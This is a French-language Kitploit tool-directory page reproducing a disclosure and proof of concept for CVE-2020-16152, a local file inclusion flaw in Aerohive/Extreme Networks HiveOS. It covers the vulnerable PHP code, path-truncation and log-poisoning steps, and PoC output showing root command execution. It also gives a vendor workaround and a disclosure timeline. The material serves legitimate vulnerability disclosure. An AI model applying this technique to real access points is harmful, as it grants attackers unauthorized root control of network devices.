Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-16152 — Explanation and PoC for CVE-2020-16152 | Kitploit
Outils/GitHubGitHub/eriknl/cve-2020-16152
Vulnerability AnalysisExploitationLateral MovementWeb Application ExploitationPenetration TestingBinary Exploitation
GitHuberiknl/cve-2020-16152

CVE-2020-16152

Explanation and PoC for CVE-2020-16152

Voir le dépôt
116il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2020-16152

Résumé

Vendeur du produitAerohive Networks / Extreme Networks
Nom du produitHiveOS / IQ Engine
Version du produitTesté sur 10.0r8a build-242466 et versions antérieures

L'interface web administrative (NetConfig) d'Aerohive/Extreme Networks HiveOS est vulnérable à LFI car elle utilise une ancienne version de PHP vulnérable aux attaques de troncature de chaîne. Un attaquant peut utiliser cela en conjonction avec un empoisonnement des journaux pour obtenir les droits root sur un point d'accès vulnérable.

En guise de contournement, il est possible de désactiver l'interface web avec la commande suivante : no system web-server hive-UI enable pour se protéger contre cette vulnérabilité.

Calendrier de divulgation :

Détails

Le paramètre _page utilisé pour les appels à action/AhBaseAction.class.php5 tel que référencé par l'url /action.php5 est utilisé pour charger dynamiquement une classe PHP utilisée pour une page comme on peut le voir dans l'extrait de code ci-dessous ($pageName est extrait de $_POST['_page']) :

root@kitploit:~
protected function getAccess($pageName,$actionType) {
  $filename = $pageName.'Access.class.php5';
  $classname = $pageName.'Access';
  if (include_once $filename) {
    require_once $filename;
    return new $classname($this->user,$actionType);
  }
  ...
}

Comme on peut le voir, il n'y a pas de préfixe pour ce nom de fichier, ce qui permet de parcourir le chemin vers des fichiers arbitraires. Cependant, comme nous avons un suffixe, il n'est pas possible d'inclure n'importe quel fichier. Étant donné que la version de PHP sur le point d'accès est assez ancienne, nous pouvons contourner cela (plus d'infos) :

root@kitploit:~
$ php-cgi -v
PHP Warning:  PHP Startup: Cannot dynamically load sockets.so - dynamic modules are not supported in Unknown on line 0
PHP 5.2.17 (cgi-fcgi) (built: May 28 2020 23:36:34)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies

En remplissant le chemin avec suffisamment de caractères /, nous pouvons nous assurer que le suffixe Access.class.php5 est complètement tronqué et nous sommes libres d'inclure des fichiers arbitraires. Comme les tentatives de connexion échouées sont enregistrées dans /tmp/messages et incluent le nom d'utilisateur soumis, nous pouvons utiliser la page de connexion pour empoisonner /tmp/messages puis exécuter du code à partir de celui-ci avec l'attaque LFI listée ci-dessus. Bien que le serveur web lui-même fonctionne avec un utilisateur à faibles privilèges, l'instance php-cgi utilisée par hiawatha fonctionne en réalité en tant que root, ce qui signifie que tout le code PHP est exécuté en tant que root :

root@kitploit:~
$ ps | egrep "php|hiawatha"
 2237 root      9980 S    /usr/local/bin/php-cgi -b 127.0.0.1:2008
12088 admin    20840 S    /usr/local/sbin/hiawatha

Preuve de concept

root@kitploit:~
$ ./CVE-2020-16152.py 192.168.0.166 'echo -e "\n\n";id' | tail
2020-08-30 13:56:28 notice  root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:56:28 GMT+1:00 2020
2020-08-30 13:56:28 notice  root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:56:54 info    ah_dcd: application: get track-ip trigger access console request: cancel.
2020-08-30 13:57:00 notice  root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:57:00 GMT+1:00 2020
2020-08-30 13:57:00 notice  root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:57:31 notice  ah_webui: security: Admin "<


uid=0(root) gid=0(root)

Télécharger l’outil
2019/02/17Problème signalé à Aerohive Networks
2019/02/19Accusé de réception du problème reçu par le vendeur, contournement suggéré par le vendeur (désactiver l'interface web)
2019/02/25Confirmation du problème par le vendeur
2019/03/18Relance ?
2019/05/30Relance ?
2019/06/03Le vendeur suggère un appel téléphonique, réponse avec les coordonnées téléphoniques. Aucun appel n'a été reçu
2019/08/12Relance ? Le vendeur a répondu que le problème est escaladé en interne
2019/09/23Relance ?
2019/09/25Le vendeur répond que le problème LFI n'a pas encore été traité
2020/07/30Constaté que le problème n'est toujours pas corrigé dans HiveOS 10.0r8a build-242466 qui date de 05/2020. Réservé le CVE et communiqué le délai de publication au 2020/09/01 à moins qu'un correctif ne soit activement en cours
2020/09/01Toujours aucune réponse du vendeur, publication des détails et du PoC